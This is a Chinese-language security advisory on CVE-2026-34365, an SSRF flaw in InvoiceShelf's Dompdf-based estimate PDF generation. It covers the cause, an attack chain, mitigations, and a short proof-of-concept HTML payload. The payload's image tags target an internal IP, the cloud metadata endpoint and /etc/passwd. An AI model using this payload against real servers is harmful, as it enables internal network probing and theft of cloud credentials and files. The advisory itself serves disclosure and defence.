IPBUF安全漏洞报告
English
CVE-2026-34365 CVSS 7.6 高危

CVE-2026-34365 InvoiceShelf SSRF漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34365
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
InvoiceShelf

相关标签

SSRF服务端请求伪造InvoiceShelfDompdfHTML注入PDF生成

漏洞概述

InvoiceShelf是一款开源的Web及移动端应用,用于费用跟踪与发票管理。在2.2.0版本之前,该应用的估算单PDF生成模块存在服务器端请求伪造(SSRF)漏洞。用户在估算单的“备注”字段中输入的HTML内容未经充分过滤,直接被传递给Dompdf渲染库。由于Dompdf在渲染时会自动获取HTML中引用的远程资源,攻击者可利用此特性通过PDF预览或客户视图端点探测内网服务。该漏洞需要高权限用户账号才能利用,并在2.2.0版本中已修复。

技术细节

该漏洞的核心在于InvoiceShelf对用户提供的HTML输入缺乏有效的安全清理。当拥有高权限的用户(如管理员)在创建或编辑估算单时,可以在“Notes”字段中插入包含特定URL引用的HTML标签(例如`<img>`标签)。系统在生成PDF预览时,会调用Dompdf库将此HTML转换为PDF。Dompdf默认支持解析并加载HTML标记中的外部资源,这意味着它会向攻击者指定的URL发起HTTP请求。攻击者可以利用这一点,将URL指向内网敏感地址(如localhost、AWS元数据服务IP)或文件协议(如果未禁用)。通过观察服务器的响应或DNS解析记录,攻击者可以确认内网端口开放情况或窃取敏感数据。由于CVSS评分要求PR:H,利用门槛主要在于获取高权限账户,但一旦成功,将对内网机密性造成严重影响。

攻击链分析

STEP 1
步骤1:获取权限
攻击者需要获取InvoiceShelf系统的高权限账户(如管理员或员工账号),以便能够创建或编辑估算单。
STEP 2
步骤2:构造Payload
攻击者构造包含恶意HTML标签的Payload,利用`<img>`、`<iframe>`等标签的`src`属性指向内网目标地址(如`http://localhost`或`http://169.254.169.254`)。
STEP 3
步骤3:注入Payload
攻击者在创建或编辑估算单时,将构造好的HTML代码粘贴到“Notes”字段中,并保存估算单。
STEP 4
步骤4:触发漏洞
攻击者点击“预览PDF”按钮或通过客户视图访问该估算单。服务器端调用Dompdf库渲染PDF。
STEP 5
步骤5:执行SSRF
Dompdf解析HTML并向Payload中指定的URL发起HTTP请求。攻击者监控DNS解析或HTTP请求日志,从而确认内网服务状态或获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-34365 InvoiceShelf SSRF --> <!-- 1. Log in to InvoiceShelf with a high-privilege account --> <!-- 2. Create or Edit an Estimate --> <!-- 3. Insert the following payload into the 'Notes' field --> <!-- 4. Save and click 'Preview PDF' to trigger the request --> <html> <body> <h1>SSRF Test</h1> <!-- Replace with your Burp Collaborator or internal server address --> <img src="http://192.168.1.1:8080/admin" alt="Internal Port Scan"> <img src="http://169.254.169.254/latest/meta-data/" alt="Cloud Metadata"> <!-- Test file read (if file protocol is allowed in Dompdf config) --> <!-- <img src="file:///etc/passwd" alt="File Read"> --> </body> </html>

影响范围

InvoiceShelf < 2.2.0

防御指南

临时缓解措施
对于无法立即升级的用户,建议在应用防火墙(WAF)层面拦截包含HTML标签的请求参数,特别是针对PDF生成接口。同时,应严格限制拥有编辑估算单权限的用户数量,并加强对系统出站流量的监控,及时发现异常的内网探测行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表